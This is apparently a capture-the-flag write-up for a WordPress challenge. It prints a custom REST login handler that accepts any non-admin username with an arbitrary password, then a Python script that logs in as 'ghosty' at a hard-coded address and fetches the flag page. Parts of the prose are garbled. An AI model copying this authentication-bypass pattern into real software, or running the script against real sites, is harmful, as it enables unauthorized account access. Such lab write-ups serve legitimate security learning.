| Solves | 23 |
|---|
The endpoint /wp-json/ghostly/v1/login is a custom REST route in the WordPress backend. Here’s the kicker:
ghosty) to authenticate using the Application Passwords API, and automatically sets session cookies./ghost-view/, which includes the flag.Here’s the vulnerable PHP handler logic (as reverse-engineered from the behavior):
register_rest_route('ghostly/v1', '/login', [
'methods' => 'POST',
'callback' => 'ghostly_login_handler',
'permission_callback' => '__return_true',
]);
function ghostly_login_handler(WP_REST_Request $request) {
$username = $request->get_param('user');
$password = $request->get_param('pass');
$existing_user = username_exists($username);
if (empty($username) || empty($password) || !$existing_user) {
return new WP_REST_Response(['error' => 'Invalid credentials'], 403);
}
if (user_can($existing_user, 'manage_options')) {
return new WP_REST_Response(['error' => 'Keep your site secure! Don\'t use administrator accounts!'], 403);
}
$user = wp_authenticate_application_password(null, $username, $password);
if (is_wp_error($user)) {
return new WP_REST_Response(['error' => 'Invalid credentials'], 403);
}
ghostly_set_secure_cookie("ghostly_id", $user->ID);
ghostly_set_secure_cookie("ghostly_logged_in", true);
return new WP_REST_Response(['success' => 'Ghost session established'], 200);
}
This effectively means: if you know a username, and it's not an admin, you're in.
The following Python script logs into the ghosty user account via the insecure endpoint and reads the contents of /ghost-view/ — where the flag is hidden.
import httpx
import asyncio, os, base64
from urllib.parse import urlencode
URL = "<http://localhost>"
URL = "<http://18.140.17.89:9180/>"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.AsyncClient(base_url=url)
def app_password(self, username, password):
"""
register_rest_route('ghostly/v1', '/login', [
'methods' => 'POST',
'callback' => 'ghostly_login_handler',
'permission_callback' => '__return_true',
]);
function ghostly_login_handler(WP_REST_Request $request) {
$username = $request->get_param('user');
$password = $request->get_param('pass');
$existing_user = username_exists($username);
if (empty($username) || empty($password) || !$existing_user) {
return new WP_REST_Response(['error' => 'Invalid credentials'], 403);
}
if (user_can($existing_user, 'manage_options')) {
return new WP_REST_Response(['error' => 'Keep your site secure! Don\'t use administrator accounts!'], 403);
}
$user = wp_authenticate_application_password(null, $username, $password);
if (is_wp_error($user)) {
return new WP_REST_Response(['error' => 'Invalid credentials'], 403);
}
ghostly_set_secure_cookie("ghostly_id", $user->ID);
ghostly_set_secure_cookie("ghostly_logged_in", true);
return new WP_REST_Response(['success' => 'Ghost session established'], 200);
}
"""
return self.c.post("/index.php/wp-json/ghostly/v1/login", data={
"user": username,
"pass": password
})
class API(BaseAPI):
...
async def main():
api = API()
res = await api.app_password("ghosty", "123")
print(res.text)
res = await api.c.get("/ghost-view/")
# res = await api.app_password("dimas123", "123")
print(res.text)
if __name__ == "__main__":
asyncio.run(main())

| Solves | 36 |
|---|